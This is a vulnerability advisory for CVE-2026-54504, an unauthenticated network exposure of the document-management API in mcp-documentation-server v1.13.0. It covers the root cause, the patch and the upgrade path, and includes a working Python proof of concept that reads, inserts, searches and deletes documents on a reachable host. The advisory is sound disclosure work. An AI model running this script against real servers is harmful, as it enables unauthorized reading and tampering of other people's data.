high · 8.8CVE-2026-54504Jul 15, 2026

CVE-2026-54504: @andrea9293/mcp-documentation-server Unauthenticated Network API Exposure

Rohit Hatagale
AI Security Researcher, SecureLayer7

The built-in Web UI in mcp-documentation-server v1.13.0 binds its document-management API to all network interfaces without any authentication, letting anyone on the same LAN silently read, add…

Package@andrea9293/mcp-documentation-server
Ecosystemnpm
Affected= 1.13.0
Fixed in1.13.1

The problem

In v1.13.0, src/web-server.ts calls app.listen(PORT) with no host argument. In Node.js/Express, omitting the host causes the server to bind to all interfaces (0.0.0.0:3080) rather than loopback only. The Web UI starts automatically unless START_WEB_UI=false is set.

All six REST endpoints (GET /api/documents, GET /api/documents/:id, POST /api/documents, POST /api/search-all, DELETE /api/documents/:id, GET /api/config) accept requests without any Authorization header. Any host reachable over LAN, VPN, Docker bridge, or shared Wi-Fi can perform full document-admin operations without credentials.

Proof of concept

A working proof-of-concept for CVE-2026-54504 in @andrea9293/mcp-documentation-server, with the exact payload below.

python
# Enumerate config, add a document, read it back, search, then delete -- no auth header sent
import json, sys, urllib.request

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
BASE = f"http://{HOST}:3080"

def req(method, path, body=None):
    data = json.dumps(body).encode() if body is not None else None
    headers = {"Content-Type": "application/json"} if body is not None else {}
    r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
    with urllib.request.urlopen(r, timeout=10) as resp:
        return resp.status, json.loads(resp.read().decode() or "null")

# 0. Leak config
print(req("GET", "/api/config"))

# 1. Insert attacker-controlled document
status, added = req("POST", "/api/documents", {
    "title": "pwned",
    "content": "ATTACKER_CONTROLLED",
    "metadata": {"source": "unauth-poc"}
})
print(status, added)
doc_id = added["id"]

# 2. Read it back
print(req("GET", f"/api/documents/{doc_id}"))

# 3. Search across corpus
print(req("POST", "/api/search-all", {"query": "ATTACKER_CONTROLLED", "limit": 5}))

# 4. Delete
print(req("DELETE", f"/api/documents/{doc_id}"))

# Run against LAN IP: python3 poc.py 10.0.250.230

The root cause is CWE-1188 (Insecure Default): app.listen(PORT) in Express/Node binds to 0.0.0.0 when the host argument is omitted, so every network interface is exposed at startup with no opt-in required. Combined with CWE-306 (Missing Authentication for Critical Function), the REST API accepts any request regardless of origin, making the full document corpus readable and writable by any peer on a routable local network.

The patch (commit 37159d4) added a WEB_HOST environment variable that defaults to 127.0.0.1 and passes it as the second argument to app.listen(PORT, HOST, ...). This restricts the socket to loopback by default. Users who need LAN access must now explicitly set WEB_HOST=0.0.0.0.

The fix

Upgrade to @andrea9293/mcp-documentation-server v1.13.1 (npm install @andrea9293/mcp-documentation-server@1.13.1). The server now binds to 127.0.0.1 by default. If LAN/container access is genuinely needed, set WEB_HOST=0.0.0.0 explicitly and consider placing a reverse proxy with authentication in front of port 3080.

Reporter not attributed.

References: [1][2][3][4]

Related research